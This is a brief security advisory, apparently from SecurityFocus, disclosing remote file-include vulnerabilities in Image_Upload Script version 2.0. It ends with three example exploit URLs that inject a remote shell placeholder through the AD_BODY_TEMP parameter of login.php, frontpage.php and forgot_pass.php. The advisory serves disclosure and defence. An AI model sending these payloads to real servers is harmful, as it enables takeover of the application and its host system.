source: https://www.securityfocus.com/bid/23132/info

Image_Upload Script is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.0 is vulnerable to these issues. 

http://www.example.com/imageupload_path/login.php?AD_BODY_TEMP=Shell?
http://www.example.com/imageupload_path/frontpage.php?AD_BODY_TEMP=Shell?
http://www.example.com/imageupload_path/forgot_pass.php?AD_BODY_TEMP=Shell?